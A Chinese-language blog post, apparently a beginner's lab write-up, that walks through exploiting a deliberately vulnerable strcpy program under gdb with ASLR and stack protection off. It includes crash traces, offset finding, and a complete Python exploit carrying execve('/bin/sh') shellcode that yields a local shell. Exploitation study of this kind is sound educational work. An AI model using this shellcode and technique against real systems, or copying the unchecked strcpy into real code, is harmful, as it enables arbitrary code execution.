參考:
https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
http://wooyun.jozxing.cc/static/drops/tips-6597.html
本人小白,如果哪里有錯(cuò)誤還望多多指教?。?!
首先看一下源代碼:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}
關(guān)閉ASLR、DEP和Stack Protector編譯生成可執(zhí)行文件vuln,這里不使用反匯編,直接暴力測(cè)試,輸入大于256長(zhǎng)度的字符,測(cè)試發(fā)現(xiàn)當(dāng)字符串長(zhǎng)度為260時(shí)會(huì)出現(xiàn)Segmentation fault。
- 字符串長(zhǎng)度為256
gdb-peda$ r `python -c 'print "A"*256'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*256'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 10742) exited normally]
Warning: not running or target is remote
- 字符串長(zhǎng)度為260
gdb-peda$ r `python -c 'print "A"*260'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*260'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0
ESP: 0xbfffef00 ('A' <repeats 68 times>)
EIP: 0x41414141 ('AAAA')
- 字符串長(zhǎng)度為264
gdb-peda$ r `python -c 'print "A"*264'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*264'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0
ESP: 0x4141413d ('=AAA')
EIP: 0x804848f (<main+84>: ret)
可以看到字符串長(zhǎng)度小于260不會(huì)產(chǎn)生Segmentation fault,而字符串長(zhǎng)度大于260時(shí)又無(wú)法控制'EIP'的值。所以輸入字符串長(zhǎng)度應(yīng)為'260'。
接下來(lái)確定EIP所在的位置,使用長(zhǎng)度為260的如下字符串作為輸入:
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
開(kāi)啟:core dump,來(lái)定位正常運(yùn)行情況下的ESP和EIP。
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
然后運(yùn)行:
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ ./vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Input:aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)
接下來(lái)根據(jù)產(chǎn)生的core dump文件確定ESP和 EIP以及buf的起始地址。
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ gdb ./vuln /tmp/core.1543385049 -q
...
gdb-peda$ x/s $esp
0xbfffef00: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", '1' <repeats 52 times>
gdb-peda$ x/s $eip
0x46464646: <error: Cannot access memory at address 0x46464646>
根據(jù)GGGG在輸入字符串中的偏移可以計(jì)算出buf的起始地址,buf的起始地址需要寫(xiě)到EIP指向的位置,而EIP和ESP相差4個(gè)字節(jié)。exp.py如下:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbfffee80
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = scode
buf += "\x90" * 99
buf += conv(ret_addr)
buf += "\x90" * 132
print "Calling vulnerable program"
call(["./vuln", buf])
運(yùn)行結(jié)果:
shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ python exp.py
Calling vulnerable program
Input:1?Ph//shh/bin??P??S???
???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
$ whoami
shu
- 注意
- 雖然關(guān)閉了ASLR,但是使用
gdb調(diào)試狀態(tài)下的buf地址和直接運(yùn)行時(shí)的buf地址不一樣,所以不能直接通過(guò)調(diào)試來(lái)獲取buf的地址。而且我在調(diào)試過(guò)程發(fā)現(xiàn):調(diào)試狀態(tài)下發(fā)生Segmentation fault時(shí)ESP和直接運(yùn)行程序發(fā)生Segmentation fault時(shí)的ESP值相同,但是調(diào)試狀態(tài)下的ESP和EIP所指的內(nèi)容和直接執(zhí)行時(shí)的不一樣。調(diào)試時(shí)的ESP值和EIP如下:
ESP: 0xbfffef00 ("WWWWXXXXYYYYZZZZ", '1' <repeats 52 times>)
EIP: 0x56565656 ('VVVV')
- 我第一次寫(xiě)exp.py的時(shí)候把
EIP的值(即:return address)填為ESP,而將真正的shellcode放在ESP處,但是執(zhí)行的時(shí)候報(bào)錯(cuò),不知道什么原因。后來(lái)把shellcode放在了從buf處執(zhí)行就能得到shelll了。